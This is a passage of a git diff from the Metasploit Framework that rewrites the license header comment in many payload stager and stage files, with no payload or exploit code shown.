b/modules/payloads/stagers/java/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index c490d2925b..b95df84f52 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index aea97c1599..d17582e06f 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 69b0e83b56..94d83a691e 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb index c95279ee18..ef0c502c48 100644 --- a/modules/payloads/stagers/linux/armle/bind_tcp.rb +++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb index 4922b97cca..3fa9a6db90 100644 --- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x64/bind_tcp.rb b/modules/payloads/stagers/linux/x64/bind_tcp.rb index c8976f24d0..059851fd11 100644 --- a/modules/payloads/stagers/linux/x64/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x64/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 53a9b5155b..80530c3110 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index bade25912a..7af1d8ecaa 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb index d9af26f07c..671d668433 100644 --- a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index 32be441b31..051509623f 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb index 36ad39e5e4..a6eeba9b0e 100644 --- a/modules/payloads/stagers/linux/x86/find_tag.rb +++ b/modules/payloads/stagers/linux/x86/find_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb index f7c0b9fac4..5ce3c9a39e 100644 --- a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb index 99bf9635fe..5cdd7cd583 100644 --- a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index dbd42c0f6c..9b5549f673 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb index 5f271d8e7f..c6bd14e47d 100644 --- a/modules/payloads/stagers/netware/reverse_tcp.rb +++ b/modules/payloads/stagers/netware/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/armle/bind_tcp.rb b/modules/payloads/stagers/osx/armle/bind_tcp.rb index a949407062..29620a162e 100644 --- a/modules/payloads/stagers/osx/armle/bind_tcp.rb +++ b/modules/payloads/stagers/osx/armle/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/armle/reverse_tcp.rb b/modules/payloads/stagers/osx/armle/reverse_tcp.rb index 3f20056b9d..c7d738880d 100644 --- a/modules/payloads/stagers/osx/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/armle/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/bind_tcp.rb b/modules/payloads/stagers/osx/ppc/bind_tcp.rb index 55f9e8594e..fab3b343c3 100644 --- a/modules/payloads/stagers/osx/ppc/bind_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/find_tag.rb b/modules/payloads/stagers/osx/ppc/find_tag.rb index dac033182d..0eda9c2cbb 100644 --- a/modules/payloads/stagers/osx/ppc/find_tag.rb +++ b/modules/payloads/stagers/osx/ppc/find_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb index bbe85470d8..f30b214928 100644 --- a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb index 6ce1295f2c..2cc29d3cc7 100644 --- a/modules/payloads/stagers/osx/x64/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb index a2852893b4..dfe8286b27 100644 --- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/osx/x86/bind_tcp.rb b/modules/payloads/stagers/osx/x86/bind_tcp.rb index bb1af791bc..01cb358dfa 100644 --- a/modules/payloads/stagers/osx/x86/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x86/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/osx/x86/reverse_tcp.rb b/modules/payloads/stagers/osx/x86/reverse_tcp.rb index d246f16eca..9888550ebe 100644 --- a/modules/payloads/stagers/osx/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x86/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/php/bind_tcp.rb b/modules/payloads/stagers/php/bind_tcp.rb index a893ade747..577f130e42 100644 --- a/modules/payloads/stagers/php/bind_tcp.rb +++ b/modules/payloads/stagers/php/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb index aeabfdceed..cf3aaad764 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index eb7b015e3e..8512cea249 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index af558106e9..cd9422023c 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index ba9a2e0dcc..765dc00f34 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb index 3e2c97d6f2..535621d933 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_nonx_tcp.rb b/modules/payloads/stagers/windows/bind_nonx_tcp.rb index 5a97a5cf3d..6157346432 100644 --- a/modules/payloads/stagers/windows/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/bind_nonx_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index 46facd55b1..8bc61ad733 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index e325a322b8..513a453f6e 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -1,9 +1,7 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/findtag_ord.rb b/modules/payloads/stagers/windows/findtag_ord.rb index 1d841d0876..91e0a41607 100644 --- a/modules/payloads/stagers/windows/findtag_ord.rb +++ b/modules/payloads/stagers/windows/findtag_ord.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 3dff4b8ee0..dab4f927fc 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index f70d49b4c9..75285f24ca 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index fe83475b03..ee06071d32 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_ipv6_http.rb b/modules/payloads/stagers/windows/reverse_ipv6_http.rb index 2d7adcd6b5..d4dd790a69 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_http.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_ipv6_https.rb b/modules/payloads/stagers/windows/reverse_ipv6_https.rb index 8b0757203b..fd0206c91c 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_https.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_https.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb index 6ddbfa16b9..fddfca5fa4 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb index 4ad64da60a..c3e4fc7eee 100644 --- a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_ord_tcp.rb b/modules/payloads/stagers/windows/reverse_ord_tcp.rb index dd93ca6a60..0ec7e7e1ce 100644 --- a/modules/payloads/stagers/windows/reverse_ord_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ord_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index 5515be3ba8..df9706e0fe 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_allports.rb b/modules/payloads/stagers/windows/reverse_tcp_allports.rb index 543df4b152..1060cc93f4 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_allports.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_allports.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_dns.rb index e903e7a4b4..129cee6219 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_dns.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index 2fe3f72467..7c15d8e61a 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -1,9 +1,7 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb index aca5972178..da1df387de 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -1,9 +1,7 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index 2a74bd224e..bd4f0e2a28 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index bc53d25209..c2c8f9cdcb 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index 6c7ef6b77b..e3da6bcd4e 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index cfbd366f67..a1a53634fa 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com/ ## diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index b2b12ccf95..96a8041693 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com/ ## diff --git a/modules/payloads/stages/bsd/x86/shell.rb 